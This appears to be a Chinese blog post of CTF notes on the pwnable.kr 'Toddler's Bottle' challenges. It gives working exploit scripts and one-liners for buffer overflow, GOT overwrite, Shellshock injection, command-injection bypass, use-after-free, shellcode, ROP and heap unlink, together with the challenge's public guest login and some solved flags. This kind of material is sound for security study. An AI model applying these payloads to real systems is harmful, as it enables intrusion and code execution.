[Toddler's Bottle]做题记录

fd

Pwn:

Reason:

  • 当fd为0的时候代表标准输入,也就是控制台,然后就可以实现buf=="LETMEWIN\n" 编辑了一下fd.c-->命名为1.c用来测试,gcc编译指令“gcc 1.c -o 1”
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2)
	{
		printf("pass argv[1] a number\n");
		return 0;
	}
	printf("%s %s\n",argv[0],argv[1]);
	int fd = atoi( argv[1] ) - 0x1234;
	printf("fd:%d\n",fd);
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;
}

本来是想直接传0x1234但是atoi后为0,看来atoi函数不支持十六进制

 

collision[逻辑]

Pwn:

col@pwnable:~$ ./col `python -c "print '\xe8\x05\xd9\x1d'+'\x01\x01\x01\x01'*4"`

Reason:

  • hashcode = A + B + B + B + B

  • 用p32可以快速得到小端

 

bof[覆盖]

Pwn:

import pwn
# print(os.system('ls'))
col = pwn.process('./bof')
# col= pwn.remote('pwnable.kr', 9000)
payload = 'a'*0x2c+'a'*0x8+pwn.p32(0xcafebabe)
print(payload)
col.sendline(payload)
col.interactive()

Reason:

flag[upx]

Pwn:

upx是一种加密方式,解密:upx -d flag 

Reason:

 

passcode[GOt覆写]

Pwn:

python -c "print 'a'*96+'\x00\xa0\x04\x08'+'134514147\n'" |./passcode 

Reason: 

random[rand()性质]

Pwn:

3039230856

Reason:

  • 随机数生成函数rand(),需要搭配动态变化种子seed,否则生成的是伪随机数。 
  • 异或运算: A^B^B=A;

 

input[代码水平]

Pwn:

    • https://r00tk1ts.github.io/2018/03/06/input/,下面是对师傅写的exp的解析
    • 交上去的时候发现了一个python版本exp,感觉比C跟加简洁,copy下来学习学习
import os
import subprocess
import socket
import time

args = list("A"*99)
args[ord('A')-1] = ""
args[ord('B')-1] = "\x20\x0a\x0d"
args = ["./test"]+args
print(args)

# stage 1 clear

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()
os.write(stdinw, "\x00\x0a\x00\xff")
os.write(stderrw, "\x00\x0a\x02\xff")

# stage 2 clear

environ = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}

# stage 3 clear

f = open("\x0a", "wb")
f.write("\x00"*4)
f.close()

# stage 4 clear

args[ord('C')-1] = "8888"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)

time.sleep(2)
s.connect(("127.0.0.1", 8888))
s.send("\xde\xad\xbe\xef")
s.close()
View Code

Reason:

  • step3:
    • char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。
  • step4:
    • size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中。成功读取的元素总数会以 size_t 对象返回。
      • ptr -- 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针。
      • size -- 这是要读取的每个元素的大小,以字节为单位。
      • nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
      • stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。
    •  int memcmp(const void *str1, const void *str2, size_t n)) 把存储区 str1 和存储区 str2 的前 n 个字节进行比较。
      • 如果返回值 < 0,则表示 str1 小于 str2。
      • 如果返回值 > 0,则表示 str2 小于 str1。
      • 如果返回值 = 0,则表示 str1 等于 str2。
  • step5:
    • struct sockaddr_in:   一个用来指定IP地址和端口号的结构体, 该结构体所有成员的字序为网络字序,低字节在前,高字节在后
      • family // 即address family,如AF_INET
      • port // 端口号(注意要按位倒序,使用htons函数)
      • sin_addr.S_un.S_addr    // 一个为long类型的ip地址
    • int socket(int domain,int type,int protocol);    建立一个socket用于连接,当套接字创建成功时,返回套接字,失败返回“-1”
      • domain:套接子要使用的协议簇,协议簇的在“linux/socket.h”里有详细定义,AF_INET(TCP/IP – IPv4)
      • type:连接类型,SOCK_STREAM(TCP)
      • protocol:协议类型,当确定套接字使用的协议簇和类型时,这个参数的值就为0
    • htons()是将整数在地址空间存储方式变为高位字节存放在内存的低地址处
    • INADDR_ANY:0.0.0.0
    • int bind(int socket, const struct sockaddr *address, socklen_t address_len);将address指向的sockaddr结构体中描述的一些属性(IP地址、端口号、地址簇)与socket套接字绑定。
    • int accept(int sockfd,struct sockaddr *addr,socklen_t *addrlen);接收一个套接字中已建立的连接。成功时,返回非负整数,该整数是接收到套接字的描述符;出错时,返回-1,相应地设定全局变量errno。
      • sockfd:利用系统调用socket()建立的套接字描述符
      • addr:指向struct sockaddr的指针,该结构用通讯层服务器对等套接字的地址
      • addrlen:一个值结果参数,调用函数必须初始化为包含addr所指向结构大小的数值
    • int recv( SOCKET s,char* buf,int len,int flags);
      • len:指明buf长
      • flags:一般置0

 leg[asm]

Pwn:

  • key = 108400

Reason:

 

mistake[逻辑] 

Pwn:

  • 0000000000 ^ 1111111111 = 1111111111

Reason:

  • < 优先级大于 =
  • int strncmp(const char *str1, const char *str2, size_t n), 相等返回0,str1<str2 返回<0 ,str1>str2 返回>0
    • str1 :要进行比较的第一个字符串。

    • str2 :要进行比较的第二个字符串。

    • n :要比较的最大字符数

  • int open(const char *pathname, int oflag, ... /* mode_t mode */);

    • oflag参数:
      • O_RDONLY:只读打开
      • O_WRONLY:只写打开
      • O_RDWR:读写打开

 

shellshock[破壳漏洞]

Pwn:

  • env x='() { :;}; bash -c "cat flag" ' ./shellshock

 

Reason:

 

mistake[二分查找]

Pwn:

# coding=utf-8
from pwn import *
def Search(l,r):
    m = (l + r) / 2
    payload = ' '.join([str(i) for i in range(l,m+1)])
    cin.sendline(payload)
    cout=cin.recvline()
    if 'Correct!' not in cout:
        if int(cout) == 10 *(m-l+1):
            Search(m+1,r)
        else:
            Search(l,m)
    else:
        print '猜对了',payload
        return

def guess(i):
    data = cin.recvline()
    print '>>%d :%s ' % (i,data)
    start = re.search("N=(\d*) C=(\d*)", data)
    N = int(start.group(1))
    C = int(start.group(2))
    if pow(2,C)<N:
        exit()
    Search(0,N)

if __name__ == '__main__':
    cin = remote('0.0.0.0', 9007)
    # cin = remote('pwnable.kr', 9007)
    print cin.recv()
    sleep(4)

    for i in range(101):
        if i==100:
            context.log_level='debug'
        guess(i)
View Code

Reason:

  • 最后要加一个contet.leve_log='debug':脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了   

 

blackjack[逻辑]

Pwn:

  • 第一次输入大于500,第二次输入100万,第三回赢一局

Reason:

lotto

Pwn:

  • 输入的六个字符的asill在1-45
from pwn import *
# context.log_level='debug'
s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro = s.process('/home/lotto/lotto')
i=0
pro.sendline('1')
print(pro.recv().decode('utf-8'))
while 1:
    i+=1
    str1 = b"######"
    pro.sendline(str1)
    pro.recvuntil('Lotto Start!\n')
    revcstr =  pro.recvline()
    print(">>Time",i,revcstr.decode('utf-8'))
    if 'bad luck...' not in revcstr.decode('utf-8'):
        print(revcstr.decode('utf-8'))
        break
    print(pro.recvuntil('3. Exit\n').decode('utf-8'))
    pro.sendline('1')
View Code

Reason:

 

cmd1[绕过]

Pwn:

  • ./cmd1 '/bin/cat fl*'

Reason:

  • 绕过

cmd2[$()]

Pwn:

  • cmd2@pwnable:/$ home/cmd2/cmd2 '"tmp$(pwd)lao$(pwd)q"'

 

cmd2@pwnable:/$ cat /tmp/lao/q
/bin/cat /home/cmd2/flag
cmd2@pwnable:/$ 

 

Reason:

uaf[cpp-vtable]

Pwn:

uaf@pwnable:~$ python -c "print '\x48\x15\x40\x00\x00\x00\x00\x00'">/tmp/eo
uaf@pwnable:~$ ./uaf 24 /tmp/eo
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
Segmentation fault (core dumped)
uaf@pwnable:~$ ./uaf 24 /tmp/eo
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

Reason:

  • 在看了R_1v3r师傅的博客后自己尝试着用woman来getshell,第一次执行2,成功从woman拿到getshell函数,但是还是需要再一次分配给man,不然在执行1的时候man是空的,程序出错
  • 由于是64位的程序,后面的exp需要写满4字节

 

 

blukat[文件权限]

Pwn:

blukat@pwnable:~$ ./blukat 
guess the password!
cat: password: Permission denied
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

Reason:

  • Linux文件权限:

    • 左三位:表示文件所有者的权限。

    • 中三位:表示文件所有组的权限。

    • 右三位:表示其他人的权限。

  • 这题也太狗了,还以为自己遇到了盲点,结果嗨~
blukat@pwnable:~$ id
uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)

-rw-r-----   1 root blukat_pwn   33 Jan  6  2017 password

memcpy[字节对齐]

Pwn:

Reason:

  • movntps在进行cpy的时候要求16位字节对齐,16字节对齐的意思就是地址的末位必须为0
  • malloc在分配内存时它实际上还会多分配4字节用于存储堆块 信息,所以如果分配a字节实际上分配的是a+4字节。另外32位系统上该函数分配的内存是以8字节对齐的
  • 【learn】

asm[shellcode编写]

Pwn:

from pwn import *
context(arch='amd64', os='linux') # 重要
lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='asm')
lao = lao1ao.connect_remote('0.0.0.0',9026)
payload=shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload+=shellcraft.read(3,'rsp',100)
payload+=shellcraft.write(1,'rsp',100)
lao.recvuntil("give me your x64 shellcode: ")
lao.send(asm(payload))
print(lao.recvline().decode('utf-8'))

Reason:

 

horcruxes[ROP]

Pwn:

from pwn import *
context.log_level='debug'
context(arch='amd64', os='linux') # 重要
lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='horcruxes')
lao = lao1ao.connect_remote('0.0.0.0',9032)
# 先执行ABCDEFG通过print得到他的值,然后后执行ropme执行else
payload= b'A' * 0x78 + p32(0x809fe4b)+ p32(0x809fe6a) + p32(0x809fe89)+ p32(0x809fea8)+ p32(0x809fec7)+ p32(0x809fee6)+ p32(0x809ff05)+ p32(0x809fffc)
lao.recvuntil("Select Menu:")
lao.sendline("1")
lao.recvuntil("? : ")
lao.sendline(payload)
sum=0
lao.recvuntil("Voldemort\n")# You'd better get more experience to kill Voldemort
for i in range(7):
        lao.recvuntil("EXP +")
        sum+=int(lao.recvuntil(")")[:-1].decode('utf-8'))
        lao.recvuntil("\n")
# 第二轮
lao.recvuntil("Select Menu:")
lao.sendline("1")
lao.recvuntil("? : ")
lao.sendline(str(sum))
lao.recvall()

Reason:

  • gets()接受输入,直到stdin收到0x0a或EOF,所以无法直接跳转到open()

unlink[heap overflow]

Pwn:

from pwn import *

shell_addr = 0x080484eb
context.log_level='debug'
s =  ssh(host='pwnable.kr',port=2222, user='unlink',password='guest')
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recv(10),16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recv(9),16)

payload = p32(shell_addr)# A->buf
payload += b'a'*12# A->buf(4)+B->pre_size(4)+B->size(4)
payload += p32(stack_addr + 12) # B->fd(4)
payload += p32(heap_addr + 12 )# B->bk(4)
p.send(payload)

p.interactive()

Reason:

 

posted @ 2020-02-18 19:14  东坡肉肉君  阅读(292)  评论(0编辑  收藏  举报